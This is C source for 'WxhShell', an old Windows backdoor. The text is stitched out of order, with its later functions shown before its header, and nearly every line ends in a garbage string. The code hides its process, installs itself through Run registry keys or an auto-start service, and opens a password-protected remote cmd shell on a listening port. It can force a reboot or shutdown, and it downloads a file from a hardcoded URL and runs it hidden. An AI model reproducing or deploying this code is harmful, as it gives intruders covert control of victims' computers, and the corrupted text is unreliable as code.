    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'o*\ N%  
    if(Boot(SHUTDOWN)) q/Ji}NGm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >j*0fb!:]  
    else { s{{8!Q  
    closesocket(wsh); 'tcve2Tt  
    ExitThread(0); zAvI f  
    } A f!`7l-  
    break; E:+r.r"Y  
    } 6@3v+Vf'  
  // 获取shell !!8;ZcL}Z  
  case 's': { #$L/pRC  
    CmdShell(wsh); O1\25D  
    closesocket(wsh); |1/8m/2Af.  
    ExitThread(0); Aq7`A^1t$  
    break; qm'@o -[  
  } 9}Za_ZgG  
  // 退出 @g]+$Yj  
  case 'x': { \2#K {  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6}0_o[23  
    CloseIt(wsh); ( ]0F3@k#s  
    break; "Mv^S'?>  
    } q[}r e2  
  // 离开 2V$Jn8v,`{  
  case 'q': { lUp%1x+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vjh'<5w9Wi  
    closesocket(wsh); m=v.<+>  
    WSACleanup(); c&aqN\'4"  
    exit(1); 4:733Q3oK  
    break; ,,6lQ]wG  
        } ;-l^X%r  
  } $uUyp8F  
  } 5dG+>7Iy}  
4 >H0a  
  // 提示信息 U3v~R4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X56q ,jCJ{  
} *f{4 _ts  
  } ,KF>@3f  
6 OvH"/X4  
  return; e6qIC*C!  
} rg#/kd<?[V  
zQt)>Qx_  
// shell模块句柄 !{ _:k%B  
int CmdShell(SOCKET sock) -*Qg^1]i+  
{ 1=E}X5  
STARTUPINFO si; ,?Vxcr  
ZeroMemory(&si,sizeof(si)); +ut%C.1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 45iO2W uur  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n <HF]  
PROCESS_INFORMATION ProcessInfo; yp@cn(:~  
char cmdline[]="cmd"; \IzZJGi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9$ VdYw7D  
  return 0; 7lJ8<EP9 u  
} V~5vR`}  
CDW| cr{  
// 自身启动模式 7~ZG"^k  
int StartFromService(void) SrOv* D3  
{ fIatp  
typedef struct :B|rs&  
{ Wf%)::G*uR  
  DWORD ExitStatus; (Ia:>ocE0  
  DWORD PebBaseAddress; QfM^J5j.M?  
  DWORD AffinityMask; z&um9rXR  
  DWORD BasePriority; `/wXx5n5<  
  ULONG UniqueProcessId; +|K,\ {'U  
  ULONG InheritedFromUniqueProcessId; 8{{^pW?x  
}   PROCESS_BASIC_INFORMATION; p;R&h4H  
{l_D+B;  
PROCNTQSIP NtQueryInformationProcess; 9o6qN1A0g  
rXip"uz(K>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S"87 <o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?Iaqbt%2  
%?qzP '  
  HANDLE             hProcess; E)X_  
  PROCESS_BASIC_INFORMATION pbi; #>BC|/P}  
f^5sJ 0;%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4j i#Q  
  if(NULL == hInst ) return 0; {4p7r7n'  
$U. 2"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6(1 &6|o3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G4#Yz6O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /^&$ma\  
/jq"r-S"  
  if (!NtQueryInformationProcess) return 0; irjHPuhcG  
akHQ&+[j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |L-- j  
  if(!hProcess) return 0; V2tA!II-s  
p!?7;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oW(8bd)  
[`KQ \4u  
  CloseHandle(hProcess); tEibxE  
\S~<C[P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n iB<h  
if(hProcess==NULL) return 0; b Hy<`p0  
[ei5QSL |  
HMODULE hMod; X\<a|/{V A  
char procName[255];  Y!|};  
unsigned long cbNeeded; (.{."  
m5KLi &R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QEx&AT  
=Q|s[F  
  CloseHandle(hProcess); \(5Bi3PA}  
AJRiwP|H+  
if(strstr(procName,"services")) return 1; // 以服务启动 }2Im?Q  
8-K4*(-dL  
  return 0; // 注册表启动 W^3'9nYU  
} jd 8g0^  
&N %-.&t'  
// 主模块 >4#\ U!  
int StartWxhshell(LPSTR lpCmdLine) u9+)jN<Yh  
{ jar?"o  
  SOCKET wsl; mj9]M?]  
BOOL val=TRUE; X<1ymb3  
  int port=0; [FWB  
  struct sockaddr_in door; W}wd?WIps  
H@k$sZ.  
  if(wscfg.ws_autoins) Install(); %]O #t<D  
T(~^X-k  
port=atoi(lpCmdLine); BTE&7/i 21  
SC2g5i`  
if(port<=0) port=wscfg.ws_port; H"2,Q T  
HI)U6.'  
  WSADATA data; uuCVI2|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,l\D@<F  
M49Hm[0(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VC!g,LU|-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b1ZHfe:  
  door.sin_family = AF_INET; qEjsAL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CR|>?9V  
  door.sin_port = htons(port); `R$bx 64  
{Z[kvXf"mZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ):Ekf2  
closesocket(wsl); s: MJ{r(s  
return 1; $5>x)jr:w+  
} jqoU;u`  
U(:t$SBKy  
  if(listen(wsl,2) == INVALID_SOCKET) { F0Z cV>j}  
closesocket(wsl); vF@.B M>  
return 1; |'#uV)b0@  
} uYc&Q$U  
  Wxhshell(wsl); Zo,]Dx  
  WSACleanup(); a+\s0Qo<  
HMR!XF&JjC  
return 0; 8ZO~=e  
Gv\fF;,R  
} ,k/<Nv;  
m$q*  
// 以NT服务方式启动 u #7AB>wi{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @{880 5Dp  
{ sM%.=~AN  
DWORD   status = 0; cACnBgLl  
  DWORD   specificError = 0xfffffff; OL#RkD  
[dXRord  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]}A yDy6C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v8A{ q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WJ]g7!Ks  
  serviceStatus.dwWin32ExitCode     = 0; :#W>lq@H  
  serviceStatus.dwServiceSpecificExitCode = 0; w;^7FuBaC  
  serviceStatus.dwCheckPoint       = 0; 0'*'%Iga  
  serviceStatus.dwWaitHint       = 0; Cd7d-'EQn  
5c l%>U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !E\J`K0_e  
  if (hServiceStatusHandle==0) return; SCMZ-^b  
w~*"mZaG  
status = GetLastError(); TUVqQ\oF:  
  if (status!=NO_ERROR) s-xby~  
{ VnMiZAHR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8m) E~6  
    serviceStatus.dwCheckPoint       = 0; OB ~74}3;  
    serviceStatus.dwWaitHint       = 0; h$fC/Juit  
    serviceStatus.dwWin32ExitCode     = status; |n&EbOmgf  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^kj%Ekt7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,1e@Y~eZ  
    return; ia /_61%  
  } I~Z m**L  
.w]S!=h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <i1P~  
  serviceStatus.dwCheckPoint       = 0; q0 8  
  serviceStatus.dwWaitHint       = 0; [ x|{VJ(h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &,`P%a&k  
} Aaix? |XN  
GpM_ Qp  
// 处理NT服务事件,比如:启动、停止 J)Td'iT(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )F35WP~  
{ BLhuYuON  
switch(fdwControl) ]dIr;x`  
{ :J+GodW  
case SERVICE_CONTROL_STOP: u@zBE? g  
  serviceStatus.dwWin32ExitCode = 0; -^7n+ QX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uc;QSVWGy8  
  serviceStatus.dwCheckPoint   = 0; 9Uh nr]J.  
  serviceStatus.dwWaitHint     = 0; Y~M  H  
  { ]7{-HuQ8>}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n7Ia8?8-l  
  } RpY#_\^hI  
  return; _u`W$EG L  
case SERVICE_CONTROL_PAUSE: tMy@'nj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $eBE pN  
  break; U=bZy,FT$  
case SERVICE_CONTROL_CONTINUE: 7e&%R4{b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v<Ux+-  
  break; [t`QV2um  
case SERVICE_CONTROL_INTERROGATE: _/!IjB:(70  
  break; c8jq.y v  
}; u5FlT3hY.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); = 8%+$vX  
} bx<7@  
/P|jHK|{  
// 标准应用程序主函数 89)rss  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y,@{1X`0@3  
{ +P<LoI  
+<H)DPG<  
// 获取操作系统版本 -.E<~(fad  
OsIsNt=GetOsVer(); hw&R .F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *l^%7W rk  
4<&`\<jZ  
  // 从命令行安装 qcfLA~y  
  if(strpbrk(lpCmdLine,"iI")) Install(); _ #+~#U%5n  
Kq';[Yc  
  // 下载执行文件 s0"1W"7vh  
if(wscfg.ws_downexe) { !(Y23w*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #X"eg  
  WinExec(wscfg.ws_filenam,SW_HIDE); cv["Ps#;`W  
} YX_p3  
wy$9QN  
if(!OsIsNt) { lH^[b[  
// 如果时win9x,隐藏进程并且设置为注册表启动 R@r"a&{/  
HideProc(); r#pC0Yj!3  
StartWxhshell(lpCmdLine); _`zj^*%  
} 6F3#Rxh  
else 7=8e|$K_  
  if(StartFromService()) ZWSYh>"  
  // 以服务方式启动 OE/O:F:1j  
  StartServiceCtrlDispatcher(DispatchTable); HLU'1As65  
else JQ8wL _C>  
  // 普通方式启动 X}xy v  
  StartWxhshell(lpCmdLine); mPxph>o  
9_F2nmEv  
return 0; :_Y@,CpIEg  
} igsJa1F  
i9oi}$;J  
iVt6rX  
x,z+l-y  
=========================================== T)]5k3{  
Pz1pEyuL  
2, ` =i  
[L,Tf_t^Y  
,r{\aW@  
/AP@Bhm  
" M:qeqn+  
,xrXby|R"  
#include <stdio.h> `2?9eXC  
#include <string.h> y!Q&;xO+!  
#include <windows.h> kQ~*iY  
#include <winsock2.h> $aX}i4F  
#include <winsvc.h> IXugnvyV  
#include <urlmon.h> Sf)VQ5U!Y  
;z>)&F  
#pragma comment (lib, "Ws2_32.lib") hX]vZR&R  
#pragma comment (lib, "urlmon.lib") `bffw:; %  
=LS?:Mhm  
#define MAX_USER   100 // 最大客户端连接数 40oRO0p  
#define BUF_SOCK   200 // sock buffer -Vk+zEht  
#define KEY_BUFF   255 // 输入 buffer nqt;Ge M  
&V[m{.  
#define REBOOT     0   // 重启 q7C>A`w  
#define SHUTDOWN   1   // 关机 ~w'M8(  
t+5JIQY>  
#define DEF_PORT   5000 // 监听端口 RJ1 Q.o  
-1~bWRYq  
#define REG_LEN     16   // 注册表键长度 Mjrl KI}f/  
#define SVC_LEN     80   // NT服务名长度 $z]gy]F  
Cw`v\ 9  
// 从dll定义API E3y"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g&H6~ +\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ewSFB< N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T"XP`gk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G_g~-[O  
J A ]s  
// wxhshell配置信息 auqM>yx  
struct WSCFG { ao<@a{G  
  int ws_port;         // 监听端口 BM#cosV7%h  
  char ws_passstr[REG_LEN]; // 口令 UfSWdR)  
  int ws_autoins;       // 安装标记, 1=yes 0=no j9sf~}D>  
  char ws_regname[REG_LEN]; // 注册表键名 [: X  
  char ws_svcname[REG_LEN]; // 服务名 *BT-@V.4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ojzO?z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2![.Kbqa%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AW4N#gt8',  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6e$(-ai  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wGE:U`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Aq}]{gfQ1  
_mKO4Atw  
}; n0kBLn  
-82Rz   
// default Wxhshell configuration zo&'2I  
struct WSCFG wscfg={DEF_PORT, _H|x6X1-  
    "xuhuanlingzhe", &)OX*y  
    1, H3}{]&a  
    "Wxhshell", 0x'>}5`5  
    "Wxhshell", HiEXw}Hkz  
            "WxhShell Service", q-3%.<LL  
    "Wrsky Windows CmdShell Service", LZV  
    "Please Input Your Password: ", xj iMM>|n  
  1, [>Kkj;*  
  "http://www.wrsky.com/wxhshell.exe", W~ XJ']e  
  "Wxhshell.exe" R}a,.C  
    }; Sve~-aG  
H?8KTl=e  
// 消息定义模块 xXM`f0s@+]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]QM6d(zDA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )Fk%, H-1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {=j!2v#8~  
char *msg_ws_ext="\n\rExit."; a0Cf.[L  
char *msg_ws_end="\n\rQuit."; .G#S*L  
char *msg_ws_boot="\n\rReboot..."; iV[g.sP-  
char *msg_ws_poff="\n\rShutdown..."; s (J,TS#I]  
char *msg_ws_down="\n\rSave to "; B0NKav  
#Na3eHT  
char *msg_ws_err="\n\rErr!"; tWD~|<\. )  
char *msg_ws_ok="\n\rOK!";  d>}pz  
W`K XO|'p@  
char ExeFile[MAX_PATH]; xxgS!J  
int nUser = 0; f2B?Zn  
HANDLE handles[MAX_USER]; as- Z)h[B  
int OsIsNt; &!vJ3:  
kN >%y&cK  
SERVICE_STATUS       serviceStatus; c%r?tKG6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }kdYR#{s  
V}=9S@$o  
// 函数声明 Id(o6j^J_  
int Install(void); =xWZJ:UnU  
int Uninstall(void); \zw0*;&U  
int DownloadFile(char *sURL, SOCKET wsh); {3]g3mj  
int Boot(int flag); hWwh`Vw%  
void HideProc(void); 1+v&SU  
int GetOsVer(void); *<#jr  
int Wxhshell(SOCKET wsl); 4:=']C  
void TalkWithClient(void *cs); Tk9u+;=6$  
int CmdShell(SOCKET sock); sptDzVM  
int StartFromService(void); _9wX8fh3D  
int StartWxhshell(LPSTR lpCmdLine); G2U=*|  
A!No:?S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RxY ;'NY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >_(Xb %w  
"]Wrir?l  
// 数据结构和表定义 +^YXqOXU  
SERVICE_TABLE_ENTRY DispatchTable[] = E!&A[TlX\  
{ -bu.Ar-#;h  
{wscfg.ws_svcname, NTServiceMain}, =0TnH<`  
{NULL, NULL} mS5'q q;t  
}; '+N!3r{G  
e)LRD&Q  
// 自我安装 uA7~`78  
int Install(void) %+YLe-\?  
{ \R yOexNZ  
  char svExeFile[MAX_PATH]; FA<|V!a  
  HKEY key; R<@s]xX_  
  strcpy(svExeFile,ExeFile); N|Xx#/  
k{(R.gLZG  
// 如果是win9x系统,修改注册表设为自启动 I4:4)V?  
if(!OsIsNt) { "qjkw f)\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Ar+k\.J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^&buX_nlO  
  RegCloseKey(key); ,y>,?6:>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sxIvL7jl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j+"i$ln+s  
  RegCloseKey(key); \:9dt8(-U  
  return 0; 0m7ANqE[Z  
    } 9{@[ l!]W  
  } zD:"O4ZM^^  
} O-y/K2MC*  
else { qZACX.Hw  
Mh"DPt9@J  
// 如果是NT以上系统,安装为系统服务 %yX?4T;b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'd4I/  
if (schSCManager!=0) S.1\e"MfI  
{ [Hw  
  SC_HANDLE schService = CreateService rXc-V},az8  
  ( L|.q19b*  
  schSCManager, 5wYYYo=  
  wscfg.ws_svcname, ~A2{$C  
  wscfg.ws_svcdisp,  \B) a57  
  SERVICE_ALL_ACCESS, mIgc)"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +>h}Uz  
  SERVICE_AUTO_START, {I0b%>r=  
  SERVICE_ERROR_NORMAL, *F0O*n*7W  
  svExeFile, g*?)o!_*  
  NULL, S7]\tw_L)  
  NULL, EITA[Ba B`  
  NULL, H6%QM}t  
  NULL, b9Jah  
  NULL ]Ir{9EE v  
  ); yH5^EY7rQ  
  if (schService!=0) 5S`_q&  
  { XG FjqZr`  
  CloseServiceHandle(schService); |b" h+  
  CloseServiceHandle(schSCManager); ]=\vl>W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?3 {&"  
  strcat(svExeFile,wscfg.ws_svcname); DKw%z8ft|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qniP`P4E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IZ+kw.6e  
  RegCloseKey(key); V}gP'f07zy  
  return 0; CZ* #FY  
    } Agt6G\ n  
  } &J(+XJM%  
  CloseServiceHandle(schSCManager); HYm |  
} [mwJ*GJ-  
} 81Ixs Qt  
^'>kZ^w0  
return 1; 4g<F."  
} h!.#r*vV  
u"eO&Vc  
// 自我卸载 :j_OO5b!  
int Uninstall(void) &N4Jpa}w/%  
{ #yz5CWu  
  HKEY key; W <.h@Rz+  
bW03m_<M<1  
if(!OsIsNt) { V@krw"vW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XJJdCv^  
  RegDeleteValue(key,wscfg.ws_regname); ms9zp?M  
  RegCloseKey(key); wMFo8;L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { & D@/_m $  
  RegDeleteValue(key,wscfg.ws_regname); n.9k<  
  RegCloseKey(key); vC$Q4>m  
  return 0; HQPb  
  } fXfBDB  
} 4CAV)  
} #m>Rt~(,S  
else { $7M/rF;N5X  
~DY5`jV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d'j8P  
if (schSCManager!=0) @;>i3?  
{ :eIPPh|\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &XG k  
  if (schService!=0) kkWqP20q  
  { w&&uk[Gh/a  
  if(DeleteService(schService)!=0) { S}fU2Wi  
  CloseServiceHandle(schService); QY14N{]T\p  
  CloseServiceHandle(schSCManager); }{FKs!(4  
  return 0; <3?T^/8  
  } Ce&nMgd~  
  CloseServiceHandle(schService); o=/Cje  
  } Twqkd8[  
  CloseServiceHandle(schSCManager); 9J>b6   
} (EZ34,k'S  
} ?naPti1GX  
]LGp3)T-  
return 1; lIR0jgP@z  
} Hgu:*iYA  
nT7{`aaQl  
// 从指定url下载文件 [HEqMBX=;  
int DownloadFile(char *sURL, SOCKET wsh) VjZ_L_U}  
{ e| AA7  
  HRESULT hr; g~q+a-  
char seps[]= "/"; ~vf&JH'!  
char *token; z9> yg_Q  
char *file; 9{OH%bF  
char myURL[MAX_PATH]; \Xy]z  
char myFILE[MAX_PATH]; CR*9-Y93  
Cjvgf .>$  
strcpy(myURL,sURL); `D2wlyqO6  
  token=strtok(myURL,seps); &!)F0PN:u  
  while(token!=NULL) -Vj'QqZ  
  { 9a.r(W[9  
    file=token; L|sWSrqd  
  token=strtok(NULL,seps); Ub1?dk   
  } Y-8qAF?SJ]  
5Gj?'Wov9  
GetCurrentDirectory(MAX_PATH,myFILE); Rg:3}T`~n  
strcat(myFILE, "\\"); XBJ9"G5  
strcat(myFILE, file); R<r"jOd]  
  send(wsh,myFILE,strlen(myFILE),0); L,@O OBD  
send(wsh,"...",3,0); :V)W?~Z7B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?(8z O"  
  if(hr==S_OK) 8 I'1~d%$  
return 0; _ F0qq j  
else Dq T)%a  
return 1; R'E8>ee; ^  
qF9rY)ifm  
} 7Pt*V@DHS  
$D,m o2I  
// 系统电源模块 Bjg 21bw^  
int Boot(int flag) tykA69X\W  
{ pB @l+ n^  
  HANDLE hToken; ,gU%%>-_~w  
  TOKEN_PRIVILEGES tkp; | ?6wlf  
tE)%*z@<Lt  
  if(OsIsNt) { 4SG22$7W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C:tA|<b|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P\ yt!S2  
    tkp.PrivilegeCount = 1; E)(`Z0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ] o!#]]   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ++KY+j.^  
if(flag==REBOOT) { vS~y~uU%6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TO\%F}m(  
  return 0; X,- ' v[z  
} Z&mV1dxR  
else { JCIm*6~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <`dF~   
  return 0; qZ!1>`B  
} #unE>#DW  
  } Y^)VHE]  
  else { &77]h%B >  
if(flag==REBOOT) { ivdw1g|)h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {Y5h*BD>  
  return 0; my#qmI  
} Isq3YY  
else { _/[n/"gn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l<<G". ?  
  return 0; 1B3,lYBM  
} mB(*)PwZ  
} 0XlX7Sk+  
i '!M<>7  
return 1; .?SClTqg  
} }?P~qJ|1  
~L(_q]  
// win9x进程隐藏模块 c ;3bX6RD*  
void HideProc(void) PN:8H>  
{ SwQ.tK1p  
X.0/F6U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dE5DH~ldV  
  if ( hKernel != NULL ) ;{|a~e?Y  
  { KmV>tn BQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *8p\.za1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M3Kpp _d_!  
    FreeLibrary(hKernel); ErC~,5dj;n  
  } l,/q# )5[  
$8&HpX#h$  
return; ,8uu,,c  
} $52Te3n  
RCt)qh+  
// 获取操作系统版本 C!w@Naj  
int GetOsVer(void) T4 SByX9  
{ "xdJ9Z-B  
  OSVERSIONINFO winfo; xsRMF&8L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3w )S=4lB  
  GetVersionEx(&winfo); i:#R U^R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ilK8V4k<T)  
  return 1; |PN-,f{-  
  else "sFdrXJ  
  return 0; Coq0Kzhsab  
} $2BRi@  
EpGe'S  
// 客户端句柄模块 [[D}vL8d  
int Wxhshell(SOCKET wsl) P's<M  
{ )ymF: ]QC  
  SOCKET wsh; `n-e.{O((  
  struct sockaddr_in client; u2<:mu[|P  
  DWORD myID; Oe9{`~  
;lGa.RD[a  
  while(nUser<MAX_USER) d$rJW m5H  
{ KHr8\qLH  
  int nSize=sizeof(client); _| 8"&*T^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Oz5I  
  if(wsh==INVALID_SOCKET) return 1; | 7>1)  
RA[` Cp"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r"fu{4aX  
if(handles[nUser]==0) va8:QHdU  
  closesocket(wsh); uMsKF%m  
else 7k6rhf7H  
  nUser++;  CjQ_oNI  
  } 9+QLcb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NtTLvO6  
o\]e}+1[o  
  return 0; J=K3S9:n]g  
} z,rWj][P  
~73"AWlp  
// 关闭 socket 81W})q8  
void CloseIt(SOCKET wsh) 4BEVG&Ks  
{ >K\ 79<x|  
closesocket(wsh); cD s#5,  
nUser--; SATZ!  
ExitThread(0); =|3 L'cDC  
} n+GCL+Mo  
(%0X\zvu/  
// 客户端请求句柄 d c&Qi_W  
void TalkWithClient(void *cs) BpP\C!:^  
{ !+)$;`  
`*oLEXYN  
  SOCKET wsh=(SOCKET)cs; n^Z?u9VR  
  char pwd[SVC_LEN]; ;8 McG83  
  char cmd[KEY_BUFF]; PLLlo~Bb  
char chr[1]; >4EcV1y  
int i,j; flLmZ1"  
[RpFC4W  
  while (nUser < MAX_USER) { p'w[5'  
[F/xU  
if(wscfg.ws_passstr) { 9:~,TH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $E7yJ|p{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N_0&3PUSM  
  //ZeroMemory(pwd,KEY_BUFF); [q.W!l4E  
      i=0; qE,%$0g  
  while(i<SVC_LEN) { O1#rCFC|y  
hChM hc  
  // 设置超时 ; wHuL\  
  fd_set FdRead; [ z$J  
  struct timeval TimeOut; La9@h"  
  FD_ZERO(&FdRead); 3al5Vu2:  
  FD_SET(wsh,&FdRead); j|aT`UH03  
  TimeOut.tv_sec=8; }4 $EN  
  TimeOut.tv_usec=0; -nk%He  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tb=L+WAIw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D[-Ct  
+H<%)Lk J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T!a8c<'V  
  pwd=chr[0]; +^69>L2V  
  if(chr[0]==0xd || chr[0]==0xa) { JAiV7v4&R  
  pwd=0; ]hf4= gm  
  break; S'@"a%EV  
  } q6G([h7  
  i++; H>7!+&M  
    } SiBbz4  
*E. 2R{  
  // 如果是非法用户,关闭 socket e@,L~ \  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fk9(FOFg  
} Mvcl9  
F 1zc4l6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9MYt4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (/KF;J^M  
&0C!P=-p  
while(1) { 8v6rS-iHP  
`UJW:qqW  
  ZeroMemory(cmd,KEY_BUFF); v'@LuF'e8  
{(MG: B  
      // 自动支持客户端 telnet标准   1b!l+ 8!  
  j=0; cEQa 6  
  while(j<KEY_BUFF) { Rw\DJJrz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { o;0Fx  
  cmd[j]=chr[0]; ih;TQ!c+b  
  if(chr[0]==0xa || chr[0]==0xd) { :<(<tz7dj  
  cmd[j]=0; *xjIl<`pK  
  break; ~Igo 8ykl  
  } RI*%\~6t?  
  j++; rFK *  
    } C4cg,>P7  
z`2d(KE?  
  // 下载文件 kt:%]ZZL  
  if(strstr(cmd,"http://")) { 6?iP z?5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dk]ro~ [  
  if(DownloadFile(cmd,wsh)) Lul?@>T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VN".NEL  
  else ^}[ N4  
